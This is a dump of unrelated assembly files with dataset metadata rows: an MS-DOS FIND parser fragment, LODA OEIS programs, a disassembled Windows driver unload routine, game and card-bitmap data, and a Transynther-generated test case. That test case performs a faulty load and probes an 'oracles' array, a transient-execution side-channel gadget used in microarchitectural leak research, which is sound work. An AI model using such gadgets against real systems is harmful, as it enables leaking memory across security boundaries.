jne end_parse ; Yes, done here
jmp terminate ; otherwise finished
p_next: ; continue
and ax,ax ; ;AN000; Was there an error?
je CONT2 ; No, continue processing
mov dh,2 ; Its a PARSE message
call display_and_die ;
CONT2: ; Something valid was entered
cmp cs:rb_type,QUOTED_STRING ; Is it a quoted string ?
je its_a_quoted_string ; Yes, go process it
cmp cs:rb_type,FILESPEC ; Is it a filespec?
jne cont3 ;
mov di,cs:rb_value_lo ; Look for another
mov cs:got_filename,TRUE ; got a filename
jmp short end_parse ; Look for another
cont3:
cmp cs:rb_type,SWITCH ; Is it a switch ?
je parse_loop ; pre_parse already checked
; switches, don't need to here
mov ax,msg_inv_parm ; None of above, too bad
mov dh,2 ; message class
call display_and_die ; Tell the poor user and terminate
;-----------------------------
;- The search string was entered
;-----------------------------
its_a_quoted_string: ; Found a quoted string
cmp cs:got_srch_str,TRUE ; Do we already have one?
jne its_ok ; No, it's ok
mov ax,msg_inv_parm ; Yes, Invalid parm!
mov dh,2 ; message class
call display_and_die ; Tell user and die gracefully
its_ok: ;
mov di,cs:rb_value_lo ; Get pointer to it
mov bx,offset st_buffer ; save buffer offset
call get_length ; get string length
mov cs:st_length,ax ; save length
mov cs:got_srch_str,TRUE ; Indicate that we have it
jmp parse_loop ;
end_parse: ; A filename should be next
cmp cs:got_srch_str,TRUE ; Do we already have one?
je rett ;
mov ax,msg_required_missing ;
mov dh,-1 ; message class
call display_and_die ; Yes, tell the poor user and terminate
rett: ;
ret ;
parse endp
;------------------------------------
;-
;- Procedure name: pre_parse
;-
;- Purpose: parse for all switches now
;- so that they can be applied for
;- all filenames on command line.
;-
;- INPUT: none
;-
;------------------------------------
assume ds:nothing
public pre_parse
pre_parse proc near ;AN005;
push ax ;AN005;
push bx ;AN005;
push cx ;AN005;
push dx ;AN005;
push di ;AN005;
push si ;AN005;
push es ;AN005;
push ds ;AN005;
;
pp_loop: ;AN005;
mov di,offset parms1 ;
xor dx,dx ;AN005; Reserved
call sysparse ;AN005; Parse parm at DS:SI
cmp ax,EOL ;AN005; Are we at End Of Line ??
jne pp_chek_switch ;AN005; No eol found
jmp pp_end
pp_chek_switch:
cmp ax,SWITCH ;AN005; invalid switch ?
jne pp_next ;AN005; no
; error
mov ax,msg_switch ;AN005; Invalid switch
mov dh,2 ;AN005; message class
call display_and_die ;AN005; Yes, tell the poor user and terminate
pp_next:
and ax,ax ;AN007; ;AN005; Was there an error?
jne pp_loop ;AN005; No, continue processing
cmp cs:rb_type,QUOTED_STRING ;M01;get next parm if string
je pp_loop ;M01; or filespec
cmp cs:rb_type,FILESPEC ;M01
je pp_loop ;M01
cmp cs:rb_type,SWITCH ;AN005; Is it a switch ?
jne pp_loop ;AN005;
; got a switch
mov bx,cs:rb_synonym ;AN005; Get offset of switch entered
cmp bx,offset n_swch ;AN005; Is it the /N switch?
jne pp_chek_v ;AN005: Yes, process it.
or cs:switches,LINE_NUMS ;AN005; Set the corresponding flag
jmp pp_loop ;AN005; Look for another
pp_chek_v: ;AN005;
cmp bx,offset v_swch ;AN005; Is it the /v switch?
jne pp_chek_i ;AN005: Yes, process it.
or cs:switches,NOT_MATCHED ;AN005; Set the corresponding flag
jmp pp_loop ;AN005; Look for another
pp_chek_i:
cmp bx,offset i_swch ;AN005; Is it the /i switch?
jne pp_chek_c ;AN005: Yes, process it.
or cs:switches,NO_CASE ;AN005; Set the corresponding flag
jmp pp_loop ;AN005; Look for another
pp_chek_c: ;AN005;
cmp bx,offset c_swch ;AN005; Is it the /c switch?
jne pp_chek_? ;AN005: Yes, process it.
or cs:switches,LINE_COUNT ;AN005; Set the corresponding flag
jmp pp_loop ;AN005; Look for another
pp_chek_?:
cmp bx,offset ?_swch
jne pp_error
mov cs:switches,HELP
mov ax, MSG_OPTIONS_FIRST ; specify first of 3 option desc. msgs
mov bx,STDOUT ; print msgs to standard out
xor cx,cx ; 0 substitution strings
mov dh,-1
@@:
call display_msg ; print first option desc. msgs
cmp ax, MSG_OPTIONS_LAST ; last msg?
je @F ; done if so
inc ax ; else bump msg number
jmp @B ; and go do it
@@:
jmp short pp_end ; get out
pp_error: ;AN005; None of the above (can we ever get here?)
mov ax,msg_switch ;AN005; Invalid parameter
mov dh,2 ;AN005; message class
call display_and_die ;AN005; Yes, tell the poor user and terminate
pp_end: ;AN005; A filename should be next
pop ds ;AN005;
pop es ;AN005;
pop si ;AN005;
pop di ;AN005;
pop dx ;AN005;
pop cx ;AN005;
pop bx ;AN005;
pop ax ;AN005;
;
ret ;AN005;
pre_parse endp ;AN005;
;------------------------------------
;-
;- Procedure name: prt_find
;-
;- Purpose: When FIND is used as a filter,
;- then display error messages with the
;- prefix: "FIND: ".
;-
;- INPUT: none
;-
;------------------------------------
assume ds:nothing
prt_find proc near ;AN005;
cmp cs:got_filename,TRUE ;AN005; Check if should print "FIND:"
je prt_ret ;AN005;
push ax ;AN005; Save error
push dx ;AN005;
mov dh,-1 ;AN005; Display FIND:
mov ax,msg_find ;AN005;
xor cx,cx ;AN007; ;AN005; No substitution text
mov bx,STDERR ;AN005; Sent to STD OUT
call display_msg ;AN005; Display the message
pop dx ;AN005;
pop ax ;AN005; Restore error
prt_ret:
ret ;AN005;
prt_find endp ;AN005;
;------------------------------------
;-
;- Procedure name: display_and_die
;-
;- Purpose: Called when the parser finds that
;- required arguments were not entered
;- from the command line.
;-
;- INPUT: AX = Error number
;-
;------------------------------------
assume ds:nothing
display_and_die proc near
call prt_find ;
xor cx,cx ; No substitution text
mov cs:errlevel,ERROR_EXIT ; Error code for exit
mov bx,STDERR ; Sent to STD OUT
call display_msg ; Display the message
call terminate ; and Terminate
ret ;
display_and_die endp
;------------------------------------
;-
;- Procedure name: get_length
;-
;- Purpose: determine the length of a null
;- ending string.
;-
;- INPUT: ES:DI = string address
;- ES:BX = save address (0=no save)
;-
;- OUTPUT: AX = length of string
;------------------------------------
assume ds:nothing
get_length proc near
push di
push bx
push dx
xor dx,dx ;init string length
look_str:
mov al,es:[di] ;get character
or bx,bx ;save it?
jz no_save
mov es:[bx],al ;save character
inc bx ;save next character
no_save: ;AN007;
and al,al ;AN007; ;check for eol (asciiz string)
je done_look ;if so, exit
cmp al,0dh ;AN005; check for eol (carriage return)
je done_look ;AN005;
inc dx ;increment length
inc di ;look at next character
jmp look_str
done_look:
xchg ax,dx ;get length in AX
pop dx
pop bx
pop di
ret
get_length endp
;
;----- BUFFER AREA --------
st_length dw 0 ;String argument length
st_buffer db st_buf_size dup(?) ;String argument buffer
file_name_len dw 0 ;File name length
file_name_buf dw 0 ;File name buffer offset
buffer db buffer_size+2 dup(?) ;file data buffer
include msgdcl.inc
code ends
;--------------------------
;--- STACK SEGMENT ---
;--------------------------
stack segment para stack 'STACK'
dw (362 - 80h) +64 dup(?,?) ;(362 - 80h) == New - old IBM ROM
stack_top equ $
stack ends
end start
| 36.250875
| 115
| 0.461326
|
9f700b5e0f3771af9b9c653b26e9b7f6dd1a7c98
| 4,223
|
asm
|
Assembly
|
Transynther/x86/_processed/P/_zr_/i7-8650U_0xd2_notsx.log_36_409.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/P/_zr_/i7-8650U_0xd2_notsx.log_36_409.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/P/_zr_/i7-8650U_0xd2_notsx.log_36_409.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xdf36, %rsi
nop
nop
nop
inc %rdi
mov (%rsi), %r11
nop
nop
nop
nop
cmp $43783, %rbx
lea addresses_A_ht+0x6832, %rsi
lea addresses_normal_ht+0x1548e, %rdi
nop
nop
nop
nop
nop
dec %r12
mov $96, %rcx
rep movsw
nop
nop
nop
xor $23121, %r11
lea addresses_A_ht+0xaa8e, %rcx
nop
and %r10, %r10
mov $0x6162636465666768, %rdi
movq %rdi, %xmm4
and $0xffffffffffffffc0, %rcx
movaps %xmm4, (%rcx)
xor %rsi, %rsi
lea addresses_D_ht+0x701a, %rsi
lea addresses_normal_ht+0x92ee, %rdi
nop
nop
nop
nop
xor $38949, %r15
mov $14, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp $57947, %rbx
lea addresses_WC_ht+0xfabe, %rsi
lea addresses_A_ht+0x4c8e, %rdi
nop
nop
dec %r12
mov $3, %rcx
rep movsw
cmp $51583, %rcx
lea addresses_normal_ht+0x1975e, %rdi
nop
nop
nop
sub $4061, %rbx
and $0xffffffffffffffc0, %rdi
vmovaps (%rdi), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %r12
nop
nop
nop
nop
nop
and $50260, %rcx
lea addresses_D_ht+0x1ccae, %rbx
cmp $25787, %rdi
mov (%rbx), %r15
and %rsi, %rsi
lea addresses_normal_ht+0x3742, %r12
nop
nop
nop
nop
cmp %r11, %r11
mov $0x6162636465666768, %rdi
movq %rdi, (%r12)
xor $32694, %rdi
lea addresses_WT_ht+0x1388e, %rsi
lea addresses_UC_ht+0xb77e, %rdi
clflush (%rsi)
nop
nop
nop
xor $64733, %rbx
mov $44, %rcx
rep movsq
add $62512, %r12
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r15
push %rax
push %rbp
push %rcx
push %rsi
// Store
lea addresses_PSE+0x1fb8e, %r11
xor %r10, %r10
movb $0x51, (%r11)
add %r10, %r10
// Store
lea addresses_PSE+0x1948e, %r15
nop
nop
nop
sub %rcx, %rcx
movw $0x5152, (%r15)
nop
nop
nop
nop
nop
xor $25927, %r11
// Store
lea addresses_UC+0x10db7, %r10
nop
nop
nop
nop
nop
sub $62278, %rax
mov $0x5152535455565758, %r15
movq %r15, (%r10)
nop
nop
nop
nop
nop
add $21787, %rbp
// Faulty Load
mov $0x88e, %r10
nop
nop
xor $29594, %rax
mov (%r10), %rsi
lea oracles, %r15
and $0xff, %rsi
shlq $12, %rsi
mov (%r15,%rsi,1), %rsi
pop %rsi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_P', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 16, 'AVXalign': True, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': True, 'NT': True, 'congruent': 4, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}}
{'00': 36}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 20.802956
| 152
| 0.654037
|
3e1d4bb9e92cbfb5e675c7933b8061f3422bfa48
| 525
|
asm
|
Assembly
|
programs/oeis/141/A141468.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/141/A141468.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/141/A141468.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A141468: Zero together with the nonprime numbers A018252.
; 0,1,4,6,8,9,10,12,14,15,16,18,20,21,22,24,25,26,27,28,30,32,33,34,35,36,38,39,40,42,44,45,46,48,49,50,51,52,54,55,56,57,58,60,62,63,64,65,66,68,69,70,72,74,75,76,77,78,80,81,82,84,85,86,87,88,90,91,92,93,94,95,96,98,99,100,102,104,105,106,108,110,111,112,114,115,116,117,118,119,120,121,122,123,124,125,126,128,129,130
mov $2,$0
seq $0,65090 ; Natural numbers which are not odd primes: composites plus 1 and 2.
sub $0,2
lpb $2
add $0,1
mov $2,1
lpe
add $0,1
| 43.75
| 320
| 0.687619
|
aaf85ecfa595b304a9fcfc6a076d3aa519659b33
| 3,862
|
asm
|
Assembly
|
MaxProtector64.sys/DriverUnload.asm
|
nanabingies/MaxProc-x64
|
fbdd6d785c6b6dbe7369c7f975e1a55617e26732
|
[
"MIT"
] | null | null | null |
MaxProtector64.sys/DriverUnload.asm
|
nanabingies/MaxProc-x64
|
fbdd6d785c6b6dbe7369c7f975e1a55617e26732
|
[
"MIT"
] | null | null | null |
MaxProtector64.sys/DriverUnload.asm
|
nanabingies/MaxProc-x64
|
fbdd6d785c6b6dbe7369c7f975e1a55617e26732
|
[
"MIT"
] | null | null | null |
.text:000000000001111C ; =============== S U B R O U T I N E =======================================
.text:000000000001111C
.text:000000000001111C
.text:000000000001111C ; __int64 __fastcall DriverUnload(__int64)
.text:000000000001111C DriverUnload proc near ; DATA XREF: DriverEntry+181↓o
.text:000000000001111C
.text:000000000001111C arg_0 = qword ptr 8
.text:000000000001111C
.text:000000000001111C mov [rsp+arg_0], rbx
.text:0000000000011121 push rdi
.text:0000000000011122 sub rsp, 20h
.text:0000000000011126 xor edi, edi
.text:0000000000011128 mov rbx, rcx
.text:000000000001112B mov rcx, cs:RetFilter
.text:0000000000011132 mov cs:byte_1C3A0, dil ; # 0
.text:0000000000011139 mov cs:qword_1D180, rdi
.text:0000000000011140 mov cs:qword_1D188, rdi
.text:0000000000011147 mov cs:qword_1D190, rdi
.text:000000000001114E mov cs:word_1D198, di
.text:0000000000011155 mov cs:qword_1D1C0, rdi
.text:000000000001115C mov cs:qword_1D1C8, rdi
.text:0000000000011163 mov cs:qword_1D1D0, rdi
.text:000000000001116A mov cs:word_1D1D8, di
.text:0000000000011171 mov cs:qword_1D1E0, rdi
.text:0000000000011178 mov cs:qword_1D1E8, rdi
.text:000000000001117F mov cs:qword_1D1F0, rdi
.text:0000000000011186 mov cs:word_1D1F8, di
.text:000000000001118D cmp rcx, rdi
.text:0000000000011190 jz short loc_1119E
.text:0000000000011192 call FltUnregisterFilter
.text:0000000000011197 mov cs:RetFilter, rdi
.text:000000000001119E
.text:000000000001119E loc_1119E: ; CODE XREF: DriverUnload+74↑j
.text:000000000001119E mov rcx, cs:qword_1C3C8
.text:00000000000111A5 cmp rcx, rdi
.text:00000000000111A8 jz short loc_111B7
.text:00000000000111AA call cs:CmUnRegisterCallback
.text:00000000000111B0 mov cs:qword_1C3C8, rdi
.text:00000000000111B7
.text:00000000000111B7 loc_111B7: ; CODE XREF: DriverUnload+8C↑j
.text:00000000000111B7 call sub_12760
.text:00000000000111BC mov rcx, cs:qword_1C3B0
.text:00000000000111C3 cmp rcx, rdi
.text:00000000000111C6 jz short loc_111D3
.text:00000000000111C8 mov edx, 425450h
.text:00000000000111CD call cs:ExFreePoolWithTag
.text:00000000000111D3
.text:00000000000111D3 loc_111D3: ; CODE XREF: DriverUnload+AA↑j
.text:00000000000111D3 mov rcx, cs:qword_1C3C0
.text:00000000000111DA cmp rcx, rdi
.text:00000000000111DD jz short loc_111EA
.text:00000000000111DF mov edx, 425450h
.text:00000000000111E4 call cs:ExFreePoolWithTag
.text:00000000000111EA
.text:00000000000111EA loc_111EA: ; CODE XREF: DriverUnload+C1↑j
.text:00000000000111EA lea rcx, SymbolicName ; "46"
.text:00000000000111F1 call cs:IoDeleteSymbolicLink
.text:00000000000111F7 mov rcx, [rbx+8]
.text:00000000000111FB mov rbx, [rsp+28h+arg_0]
.text:0000000000011200 add rsp, 20h
.text:0000000000011204 pop rdi
.text:0000000000011205 jmp cs:IoDeleteDevice
.text:0000000000011205 DriverUnload endp
.text:0000000000011205
| 60.34375
| 100
| 0.587002
|
a6be9fb78e1fe9e4fe5bfe3aa902464b9a9c40cb
| 415
|
asm
|
Assembly
|
programs/oeis/140/A140347.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/140/A140347.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/140/A140347.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A140347: Composites of the form ((x+y)/3+2)/(x-y), where x=composite and y=prime.
; 4,6,8,9,10,12,14,15,16,18,20,21,22,24,25,26,27,28,30,32,33,34,35,36,38,39,40,42,44,45,46,48,49,50,51,52,54,55,56,57,58,60,62,63,64,65,66,68,69,70,72,74,75,76,77,78,80,81,82,84,85,86,87,88,90,91,92,93,94,95,96,98,99,100,102,104
add $0,2
cal $0,65090 ; Natural numbers which are not odd primes: composites plus 1 and 2.
mov $1,$0
| 59.285714
| 228
| 0.672289
|
14c6aa4ddbe2f8ab1da2e51ba4bc69afa6db593c
| 327
|
asm
|
Assembly
|
data/mapHeaders/UndergroundPathRoute5.asm
|
AmateurPanda92/pokemon-rby-dx
|
f7ba1cc50b22d93ed176571e074a52d73360da93
|
[
"MIT"
] | 9
|
2020-07-12T19:44:21.000Z
|
2022-03-03T23:32:40.000Z
|
data/mapHeaders/UndergroundPathRoute5.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 7
|
2020-07-16T10:48:52.000Z
|
2021-01-28T18:32:02.000Z
|
data/mapHeaders/UndergroundPathRoute5.asm
|
JStar-debug2020/pokemon-rby-dx
|
c2fdd8145d96683addbd8d9075f946a68d1527a1
|
[
"MIT"
] | 2
|
2021-03-28T18:33:43.000Z
|
2021-05-06T13:12:09.000Z
|
UndergroundPathRoute5_h:
db GATE ; tileset
db UNDERGROUND_PATH_ROUTE_5_HEIGHT, UNDERGROUND_PATH_ROUTE_5_WIDTH ; dimensions (y, x)
dw UndergroundPathRoute5_Blocks ; blocks
dw UndergroundPathRoute5_TextPointers ; texts
dw UndergroundPathRoute5_Script ; scripts
db 0 ; connections
dw UndergroundPathRoute5_Object ; objects
| 36.333333
| 87
| 0.844037
|
cd8f7a40670c1da17036962ae8b899b4c44158fd
| 5,410
|
asm
|
Assembly
|
Appl/Art/Decks/GeoDeck/LCSpadeT.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 504
|
2018-11-18T03:35:53.000Z
|
2022-03-29T01:02:51.000Z
|
Appl/Art/Decks/GeoDeck/LCSpadeT.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 96
|
2018-11-19T21:06:50.000Z
|
2022-03-06T10:26:48.000Z
|
Appl/Art/Decks/GeoDeck/LCSpadeT.asm
|
steakknife/pcgeos
|
95edd7fad36df400aba9bab1d56e154fc126044a
|
[
"Apache-2.0"
] | 73
|
2018-11-19T20:46:53.000Z
|
2022-03-29T00:59:26.000Z
|
LCSpadeT label byte
word C_BLACK
Bitmap <71,100,BMC_PACKBITS,BMF_MONO>
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0x01, 0x18, 0x78, 0xfa, 0x00
db 0x01, 0x18, 0xfc, 0xfa, 0x00
db 0x01, 0x19, 0xce, 0xfa, 0x00
db 0x01, 0x19, 0x86, 0xfa, 0x00
db 0x01, 0x19, 0x86, 0xfa, 0x00
db 0x01, 0x19, 0x86, 0xfa, 0x00
db 0x01, 0x19, 0x86, 0xfa, 0x00
db 0x05, 0x19, 0x86, 0x00, 0x80, 0x00, 0x02, 0xfe,
0x00
db 0x05, 0x19, 0x86, 0x01, 0xc0, 0x00, 0x07, 0xfe,
0x00
db 0x08, 0x19, 0x86, 0x03, 0xe0, 0x00, 0x0f, 0x80,
0x00, 0x00
db 0x08, 0x19, 0x86, 0x06, 0xf0, 0x00, 0x1b, 0xc0,
0x00, 0x00
db 0x08, 0x19, 0x86, 0x0d, 0xf8, 0x00, 0x37, 0xe0,
0x00, 0x00
db 0x08, 0x19, 0xce, 0x1b, 0xfc, 0x00, 0x6f, 0xf0,
0x00, 0x00
db 0x08, 0x18, 0xfc, 0x17, 0xfc, 0x00, 0x5f, 0xf0,
0x00, 0x00
db 0x08, 0x18, 0x78, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x00, 0x00
db 0x08, 0x00, 0x80, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x00, 0x00
db 0x08, 0x01, 0xc0, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x00, 0x00
db 0x08, 0x02, 0xe0, 0x1e, 0xbc, 0x00, 0x7a, 0xf0,
0x00, 0x00
db 0x05, 0x05, 0xf0, 0x01, 0xc0, 0x10, 0x07, 0xfe,
0x00
db 0x08, 0x0b, 0xf8, 0x03, 0xe0, 0x38, 0x0f, 0x80,
0x00, 0x00
db 0x04, 0x0f, 0xf8, 0x00, 0x00, 0x7c, 0xfd, 0x00
db 0x04, 0x0f, 0xf8, 0x00, 0x00, 0xde, 0xfd, 0x00
db 0x04, 0x06, 0xb0, 0x00, 0x01, 0xbf, 0xfd, 0x00
db 0x05, 0x01, 0xc0, 0x00, 0x03, 0x7f, 0x80, 0xfe,
0x00
db 0x05, 0x03, 0xe0, 0x00, 0x02, 0xff, 0x80, 0xfe,
0x00
db 0xfe, 0x00, 0x02, 0x07, 0xff, 0xc0, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x07, 0xff, 0xc0, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x07, 0xff, 0xc0, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x87, 0xff, 0xc2, 0xfe, 0x00
db 0x05, 0x00, 0x00, 0x01, 0xc3, 0xd7, 0x87, 0xfe,
0x00
db 0x08, 0x00, 0x00, 0x03, 0xe0, 0x38, 0x0f, 0x80,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x06, 0xf0, 0x7c, 0x1b, 0xc0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x0d, 0xf8, 0x00, 0x37, 0xe0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x1b, 0xfc, 0x00, 0x6f, 0xf0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x17, 0xfc, 0x00, 0x5f, 0xf0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x1e, 0xbc, 0x00, 0x7a, 0xf0,
0x00, 0x00
db 0x05, 0x00, 0x00, 0x01, 0xc0, 0x00, 0x07, 0xfe,
0x00
db 0x08, 0x00, 0x00, 0x03, 0xe0, 0x00, 0x0f, 0x80,
0x00, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0xf8, 0x00
db 0x08, 0x00, 0x00, 0x03, 0xe0, 0x00, 0x0f, 0x80,
0x00, 0x00
db 0x05, 0x00, 0x00, 0x01, 0xc0, 0x00, 0x07, 0xfe,
0x00
db 0x08, 0x00, 0x00, 0x1e, 0xbc, 0x00, 0x7a, 0xf0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x37, 0xf6, 0x00, 0xdf, 0xd8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x2f, 0xee, 0x00, 0xbf, 0xb8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x1f, 0xfc, 0x00, 0x7f, 0xf0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x1f, 0xfc, 0x00, 0x7f, 0xf0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x0f, 0xf8, 0x00, 0x3f, 0xe0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x07, 0xf0, 0x7c, 0x1f, 0xc0,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x03, 0xe0, 0x38, 0x0f, 0x80,
0x00, 0x00
db 0x05, 0x00, 0x00, 0x01, 0xc3, 0xd7, 0x87, 0xfe,
0x00
db 0xfe, 0x00, 0x02, 0x86, 0xfe, 0xc2, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x05, 0xfd, 0xc0, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x07, 0xff, 0xc0, 0xfe, 0x00
db 0xfe, 0x00, 0x02, 0x07, 0xff, 0xc0, 0xfe, 0x00
db 0xfe, 0x00, 0x05, 0x03, 0xff, 0x80, 0x00, 0x0f,
0x80
db 0xfe, 0x00, 0x05, 0x03, 0xff, 0x80, 0x00, 0x07,
0x00
db 0xfe, 0x00, 0x05, 0x01, 0xff, 0x00, 0x00, 0x1a,
0xc0
db 0xfd, 0x00, 0x04, 0xfe, 0x00, 0x00, 0x2f, 0x60
db 0xfd, 0x00, 0x04, 0x7c, 0x00, 0x00, 0x3f, 0xe0
db 0x08, 0x00, 0x00, 0x03, 0xe0, 0x38, 0x0f, 0x80,
0x3f, 0xe0
db 0x08, 0x00, 0x00, 0x01, 0xc0, 0x10, 0x07, 0x00,
0x1f, 0xc0
db 0x08, 0x00, 0x00, 0x1e, 0xbc, 0x00, 0x7a, 0xf0,
0x0f, 0x80
db 0x08, 0x00, 0x00, 0x37, 0xf6, 0x00, 0xdf, 0xd8,
0x07, 0x00
db 0x08, 0x00, 0x00, 0x2f, 0xee, 0x00, 0xbf, 0xb8,
0x02, 0x00
db 0x08, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x00, 0x00
db 0x08, 0x00, 0x00, 0x3f, 0xfe, 0x00, 0xff, 0xf8,
0x3c, 0x30
db 0x08, 0x00, 0x00, 0x1f, 0xfc, 0x00, 0x7f, 0xf0,
0x7e, 0x30
db 0x08, 0x00, 0x00, 0x1f, 0xfc, 0x00, 0x7f, 0xf0,
0xe7, 0x30
db 0x08, 0x00, 0x00, 0x0f, 0xf8, 0x00, 0x3f, 0xe0,
0xc3, 0x30
db 0x08, 0x00, 0x00, 0x07, 0xf0, 0x00, 0x1f, 0xc0,
0xc3, 0x30
db 0x08, 0x00, 0x00, 0x03, 0xe0, 0x00, 0x0f, 0x80,
0xc3, 0x30
db 0x08, 0x00, 0x00, 0x01, 0xc0, 0x00, 0x07, 0x00,
0xc3, 0x30
db 0xfe, 0x00, 0x05, 0x80, 0x00, 0x02, 0x00, 0xc3,
0x30
db 0xfa, 0x00, 0x01, 0xc3, 0x30
db 0xfa, 0x00, 0x01, 0xc3, 0x30
db 0xfa, 0x00, 0x01, 0xc3, 0x30
db 0xfa, 0x00, 0x01, 0xc3, 0x30
